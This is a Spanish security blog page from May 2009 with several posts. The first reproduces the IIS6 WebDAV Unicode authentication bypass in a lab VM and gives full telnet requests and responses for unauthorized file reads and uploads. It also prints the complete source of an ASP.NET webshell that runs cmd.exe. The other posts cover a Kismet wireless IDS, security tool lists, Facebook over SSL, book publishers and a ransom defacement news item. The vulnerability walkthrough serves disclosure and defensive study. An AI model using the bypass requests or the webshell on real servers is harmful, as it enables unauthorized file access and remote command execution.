16 mayo 2009

Fallo de autenticación de WebDav en IIS6

Kcope ha publicado hoy una nota de seguridad crítica que afecta a servidores web Internet Information Server en su versión 6 (IIS6) con el módulo de WebDav instalado.

El fallo es muy similar a otros anteriores. La validación por parte del servicio de caracteres Unicode se ejecuta de forma incorrecta, permitiendo saltarse la autenticación y por lo tanto, la lectura y escritura de ficheros en el sistema.

Para reproducir el problema, hemos descargado (warez!) una máquina virtual de Windows 2003 y ejecutado en un entorno VMWare. Tras instalar IIS6 y activar el módulo de Webdav sobre un directorio con ficheros, procedemos a probar la vulnerabilidad, que es tan sencilla como añadir los caracteres "/..%c0%af/" antes de la petición:

Se solicita de forma normal el archivo "test.txt" que contiene la cadena "prueba".

$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
GET /testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername


HTTP/1.1 401 Unauthorized
Content-Length: 1656
Content-Type: text/html
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
Date: Sat, 16 May 2009 02:19:04 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE>
[...]

<h1>You are not authorized to view this page</h1>
You do not have permission to view this directory or page using the credentials that you supplied because your Web browser is sending a WWW-Authenticate header field that the Web server is not configured to accept.
<hr>
<p>Please try the following:</p>
[...]

</TD></TR></TABLE></BODY></HTML>
Connection closed by foreign host.

Lo que ocurre al añadir magia a la petición:
$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
GET /..%c0%af/testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername


HTTP/1.1 200 OK
Connection: close
Date: Sat, 16 May 2009 02:15:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/plain
Content-Length: 6
ETag: "f093bdfac2d5c91:23b"
Last-Modified: Sat, 16 May 2009 01:09:36 GMT
Accept-Ranges: bytes

prueba
Connection closed by foreign host.

En el caso de subir ficheros, siempre y cuando los permisos NTFS y WebDav permitan la escritura y creación de archivos:

$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
PUT /..%c0%af/testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername
Content-Length: 5


test

HTTP/1.1 201 Created
Connection: close
Date: Sat, 16 May 2009 02:24:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://servername/testdav/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

Si en vez de un inocente archivo de prueba, existe la posibilidad de que el WebDav esté habilitado para subir archivos ASPX:
$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
PUT /..%c0%af/testdav/shell.aspx HTTP/1.1
Translate: f
Connection: close
Host: servername
Content-Length: 1312

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

HTTP/1.1 200 OK
Connection: close
Date: Sat, 16 May 2009 02:34:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

Finalmente, se accede por algún Virtual Directory que mapea el WebDav:





Leer más...

15 mayo 2009

Las pequeñas y medianas empresas, hoy estáis de enhorabuena. Vuestros presupuestos ya no serán bloqueados por el Dpto. Financiero, cuando se les propone adquirir los robustos IDS para redes wireless que proporcionan compañías como CISCO o AirDenfense.

Desde el SANS Institute nos proponen una solución muy económica mediante la cual podremos construir un sistema IDS para redes wireless, usando tan sólo routers Linksys WRT54GL, OpenWRT y Kismet.

OpenWRT es una distribución GNU/Linux que se carga a modo de firmware en el router Linksys WRT54GL y permite personalizarlo para realizar la instalación de Kismet.

Kismet
, como ya conoceréis por el post de SecUtils que se publicó ayer, es una herramienta de código abierto para el análisis de redes wireless 802.11. Posee una arquitectura distribuida que puede utilizarse para desplegar drones pasivos a lo largo del área de cobertura de una red inalámbrica, que se conectan a un servidor y proporciona de forma centralizada la captura de paquetes, monitorización y logging de alertas.

La instalación es relativamente sencilla aunque se requiere un conocimiento medio/alto en Linux y redes wireless.


Como podéis ver en el diseño de arquitectura, montaremos los puntos de acceso (PA) legítimos que serán usados por los usuarios wireless. Sensores Kismet drones colocados por todo el entorno, que se conectarán con el servidor Kismet y enviarán tráfico a través de la red al servidor.

El administrador utilizará el cliente Kismet para conectarse con el servidor y monitorizar la información capturada por los drones. Además dispone de una consola centralizada donde se detectan las alarmas.

El servidor Kismet puede ejecutarse en modo demonio enviando alertas a los servicios de logging, por lo que el administrador será notificado por cada evento de interés (DoS, PA no autorizados, etc.) vía email o SMS sin tener que estar continuamente monitorizando el sistema.

Por desgracia debido a una serie de factores las alertas generadas hacen que esta solución tenga menos valor del esperado. Debido a que la mayoría de los ataques suelen ser por denegación de servicio y el sistema no podrá actualizarse para monitorizar los nuevos ataques.

Aún así podemos considerarla como una buena solución.
Leer más...

14 mayo 2009

Inmenso bazar de herramientas

Todos tenemos nuestras herramientas favoritas a la hora de realizar ciertas labores relacionadas con la seguridad, en unos casos porque las hemos descubierto por nuestra cuenta y en otros casos porque esas herramientas 'las conoce todo el mundo' por su repercusión y porque han sido referenciadas en muchos sitios.

Lo curioso es que a la hora de encontrar recopilaciones de herramientas de seguridad existen pocos sitios a los que acudir, tal vez el vetusto y querido PacketStorm sea uno de los referentes máximos, el problema es que en su base de datos existen herramientas que fueron archivadas en los años 90 con lo que el nivel de ruido es altísimo.

Otro recurso bastante interesante pero limitado por su función es el 'Top Herramientas de Insecure.org', (la casa de Nmap) donde puedes ver el ranking de las herramientas mas usadas /valoradas.

Hace poco se ha presentado al publico una web que se ha propuesto la misión de archivar y catalogar cuantas mas herramientas de seguridad le sea posible (entiendo que aplicando algún tipo de filtro personal por parte de los administradores). La web llamada 'Security Tools List' engloba cientos de herramientas categorizadas en función del sistema operativo o por su funcionalidad.

Lo bueno de esa web es que permite, de una forma muy sencilla y rápida localizar herramientas para realizar auditorías, forenses o 'securizaciones'

El tiempo dirá si este proyecto es flor de mayo o se consolida como referente a la hora de localizar herramientas.
Leer más...

11 mayo 2009

Cómo usar Facebook por SSL

Facebook, esa enorme red social donde podemos re-encontrarnos con amigos de la infancia, añadir a esa chico/a que te gusta, tener enormes listas de amigos que solo están ahí para poder decir muy ufanamente 'si, bueno yo tengo 300 amigos en el facebook' convirtiendo, inadvertidamente, el termino amigo en algo cuasi-peyorativo.

Obviamente también hay grandes iniciativas y grupos de interés social ...

Sea cual sea el uso que le estés dando a Facebook es innegable que mucha de tu privacidad viaja en claro por la red encapsulada en el protocolo HTTP.

Tal vez los mas activistas del lugar recuerden que, tiempo atrás, Gmail no se podía configurar para que viajara cifrado bajo SSL y por ello, un avezado usuario programó un sencillo script en Greasemonkey para forzar que las conexiones fueran bajo SSL. Tiempo después Google añadió esa opción al panel de configuración y que es mas que recomendable tener activada.

Pensando en la posibilidad de programar mi pequeña extensión para hacer eso con Facebook, he localizado un script Greasemonkey que hace justamente eso, meter bajo SSL las sesiones de facebook.

Para poder instalar el script tienes que tener previamente Greasemonkey instalado en tu Firefox, después de eso, dirígete hacia este link y pulsa donde pone 'Install'. Ahora, carga Facebook usando https://www.facebook.com

El script no es 100 % infalible, a veces la pagina inicial no se carga enteramente bajo SSL, yo he comprobado que si te mueves dentro del ecosistema facebook, la conexión termina por ser plenamente cifrada.
Usar FaceBook bajo SSL tiene un handicap que, tal vez, para algunos sea un problema: el chat de FB no funciona cifrado.
No obstante, he encontrado una solucion-parche y es cargar en una pestaña diferente la siguiente URL http://www.facebook.com/presence/popout.php, pero eso si, todo lo que digas o hables queda fuera del ámbito SSL

Y si ya quieres sacar nota en cuanto a preocupación-por-tu-privacidad, securiza tu Firefox con FFhardener.
Leer más...

10 mayo 2009

Celebramos el primer cumpleaños

Con un año cumplido, SecurityByDefault empieza a caminar y decir sus primeras palabras. Atrás queda el gateo y los biberones de leche.

Ha sido un año muy divertido y os queremos agradecer haberlo pasado con nosotros. Gracias a vosotros, seguiremos dando guerra mucho más.

Como cualquier excusa es buena para reunirnos, intercambiar opiniones (lo que viene siendo cotillear) y reírnos un rato, hemos decidido celebrar una cena los editores e invitaros a participar a todos aquellos que os apetezca.

Para apuntaros solo tenéis que aceptar la convocatoria que he creado en Facebook para el día 23 de Mayo. La idea es que tengamos un número aproximado de asistentes para reservar el restaurante, que por cierto, es en el Wok de las Rozas, junto al centro comercial Heron City en Madrid. El menú rondará entre los 15-20€.

La convocatoria está en Facebook para tenernos algo más localizados, pero todo aquel que no tenga cuenta, puede mandarnos un correo con su nombre y apellido. Cerraremos el número el día 18 de mayo con la gente que haya confirmado, todos los que sean tentativos, entenderemos que no asistirán.

La agenda es muy simple pero se puede complicar todo lo que queramos. Tomamos algo a las 20:00 y cenamos a las 21.00... Lo que se hará después, ¡nunca se cuenta!

Leer más...

09 mayo 2009

Editoriales de libros de seguridad

Información, información, información. Otra cosa no, pero en la era de la información lo difícil es descartar la mala de la buena. Hemos pasado de que no existiesen libros sobre hacking, a encontrarnos con unos cuantos cientos.

Elegir es difícil, pero determinadas editoriales se han especializado en seguridad y su sello suele significar que el contenido siempre nos aportará algo.

Todas estas editoriales publican en inglés, si quieres buscar información en español, lo mejor es que te vayas a blogs y foros.
  • O'Reilly: Uno de los primeros y más clásicos, no solo destaca por sus libros de seguridad, si no también por los estupendos manuales de sistemas y programación.

  • McGraw Hill: publica una de las series con más éxito en libros de hacking, los famosos "Hacking Exposed".

  • Elsevier (Syngress): Ofrece muchas opciones, algunas de ellas demasiado concretas a una tecnología, por lo que muchos de ellos ofrecen mucha profundidad en las explicaciones y detalle.

  • Wiley: con la serie "Hacking [ponga aquí lo que se le ocurra]", han inundado el mercado con trucos y opciones avanzadas de casi cualquier cosa. Desde dispositivos móviles, hasta portales web. También son responsables de otra serie para novatos, los "[algo] for Dummies", entre los que también hay libros de seguridad.

  • Pearson Education (Addison-Wesley): con más de 120 títulos en su catalogo en la categoría de seguridad, Addison-Wesley tiene libros de casi cualquier temática, seguridad en Mainframes, forense en servidores SQL...

  • No Starch Press: pese a que su número de publicaciones en seguridad es bajo, en programación ha liberado buenos manuales.
Próximamente... Algunas recomendaciones de libros.

Leer más...

08 mayo 2009

Rescate 2

No, no hay segunda parte de la película de Mel Gibson, o por lo menos, si la hay, a los cines no ha llegado.

Hace unos meses, nos hacíamos eco de una noticia en la que se informaba de que una empresa dedicada a la industria farmaceutica ofrecía 1 millón de dólares "por las cabezas" de los que querían extorsionarla con poner información confidencial sobre sus clientes a disposición de todo el mundo. A su vez, los autores pedían dinero para evitar así su publicación.

Hace unos días, en la página Wikileaks aparecía una noticia contando que se había modificado (defaceado) la página del Prescription Monitoring Program (Programa de Monitorización de Prescripciones) de Virginia, también relacionada con la industria farmaceutica. El sitio web, alojado aquí, quedaba de la siguiente forma:


Como resumen a tal parrafada (dónde quedaron esos defaces de imagenes con calaveras, nombres de teams con muchos dígitos como vocales y dedicatorias a novias y/o amigos), viene a decir tal que el autor de este graffiti se ha hecho con la base de datos del portal, que contiene casi 8 millones de registros de pacientes y 35 millones de prescripciones.

Ha borrado la base de datos original, guardando una copia que ha cifrado convenientemente, y que si quieren la contraseña, tendrán que ingresarle 10 millones de dólares (entendámosle, estamos de crisis, puestos a pedir...). Si no lo hacen, la venderá al mejor postor, y dan una dirección de correo Yahoo como contacto. Si alguien se anima a responder la pregunta para la recuperación de la contraseña, ¡que nos ponga un comentario!

¿Pagarán? ¿No pagarán? Yo creo que de eso no nos enteraremos. Actualmente lo único que han transmitido es un comunicado en el que indican que están investigando el caso, y este mensaje en la página del departamento de salud:

The Virginia Department of Health Professions is currently experiencing technical difficulties which affect computer and email systems. We apologize for any inconvenience this may cause.

If you have questions or need assistance please call our main number 804-367-4400. Or you may directly call one of the numbers below.

You also may contact us by mail for renewals, applications and other correspondence.

We are working to get the systems restored as quickly as possible.

Thank you for your patience and understanding.


[+] Hackers Break Into Virginia Health Professions Database, Demand Ransom
Leer más...